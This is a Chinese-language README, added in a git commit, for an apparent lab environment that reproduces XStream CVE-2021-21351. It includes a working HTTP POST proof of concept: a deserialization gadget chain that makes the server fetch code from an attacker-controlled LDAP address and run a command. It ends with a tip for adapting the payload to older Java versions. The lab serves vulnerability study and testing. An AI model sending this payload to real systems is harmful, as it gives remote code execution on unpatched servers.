first commit

xstream/CVE-2021-21351/README.zh-cn.md

@@ -0,0 +1,127 @@
+# XStream 反序列化命令执行漏洞（CVE-2021-21351）
+
+XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。
+
+XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.15 及之前版本黑名单存在缺陷，攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入，进而执行任意命令。
+
+参考链接：
+
+- https://x-stream.github.io/CVE-2021-21351.html
+- https://paper.seebug.org/1543/
+- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
+- https://github.com/welk1n/JNDI-Injection-Exploit/
+
+## 漏洞环境
+
+执行如下命令启动一个Springboot + XStream 1.4.15的环境：
+
+```
+docker compose up -d
+```
+
+环境启动后，我们向`http://your-ip:8080`发送一个正常的XML数据包，将会得到预期返回：
+
+![](1.png)
+
+## 漏洞复现
+
+由于目标环境Java版本高于8u191，故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法，使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
+
+你可以使用[Java Chains](https://github.com/vulhub/java-chains)来进行漏洞复现，参考[快速入手](https://java-chains.vulhub.org/zh/docs/guide)启动 Java Chains。之后根据下图所示，选择设置要执行的命令为`touch /tmp/success`，生成JNDI LDAP URL Payload：
+
+![](2.png)
+
+将以上 LDAP URL 作为`<dataSource>`的值，构造POC如下：
+
+```
+POST / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: application/xml
+Content-Length: 3181
+
+<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
+      <m__DTMXRTreeFrag>
+        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
+          <m__size>-10086</m__size>
+          <m__mgrDefault>
+            <__overrideDefaultParser>false</__overrideDefaultParser>
+            <m__incremental>false</m__incremental>
+            <m__source__location>false</m__source__location>
+            <m__dtms>
+              <null/>
+            </m__dtms>
+            <m__defaultHandler/>
+          </m__mgrDefault>
+          <m__shouldStripWS>false</m__shouldStripWS>
+          <m__indexing>false</m__indexing>
+          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
+            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
+              <javax.sql.rowset.BaseRowSet>
+                <default>
+                  <concurrency>1008</concurrency>
+                  <escapeProcessing>true</escapeProcessing>
+                  <fetchDir>1000</fetchDir>
+                  <fetchSize>0</fetchSize>
+                  <isolation>2</isolation>
+                  <maxFieldSize>0</maxFieldSize>
+                  <maxRows>0</maxRows>
+                  <queryTimeout>0</queryTimeout>
+                  <readOnly>true</readOnly>
+                  <rowSetType>1004</rowSetType>
+                  <showDeleted>false</showDeleted>
+                  <dataSource>ldap://java-chains-ip:50389/x</dataSource>
+                  <listeners/>
+                  <params/>
+                </default>
+              </javax.sql.rowset.BaseRowSet>
+              <com.sun.rowset.JdbcRowSetImpl>
+                <default/>
+              </com.sun.rowset.JdbcRowSetImpl>
+            </fPullParserConfig>
+            <fConfigSetInput>
+              <class>com.sun.rowset.JdbcRowSetImpl</class>
+              <name>setAutoCommit</name>
+              <parameter-types>
+                <class>boolean</class>
+              </parameter-types>
+            </fConfigSetInput>
+            <fConfigParse reference='../fConfigSetInput'/>
+            <fParseInProgress>false</fParseInProgress>
+          </m__incrementalSAXSource>
+          <m__walker>
+            <nextIsRaw>false</nextIsRaw>
+          </m__walker>
+          <m__endDocumentOccured>false</m__endDocumentOccured>
+          <m__idAttributes/>
+          <m__textPendingStart>-1</m__textPendingStart>
+          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
+          <m__pastFirstElement>false</m__pastFirstElement>
+        </m__dtm>
+        <m__dtmIdentity>1</m__dtmIdentity>
+      </m__DTMXRTreeFrag>
+      <m__dtmRoot>1</m__dtmRoot>
+      <m__allowRelease>false</m__allowRelease>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+```
+
+然后，进入目标容器内，可见`touch /tmp/success`已成功执行：
+
+![](3.png)
+
+在实战中，如果目标Java版本较低，POC需要做修改，将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。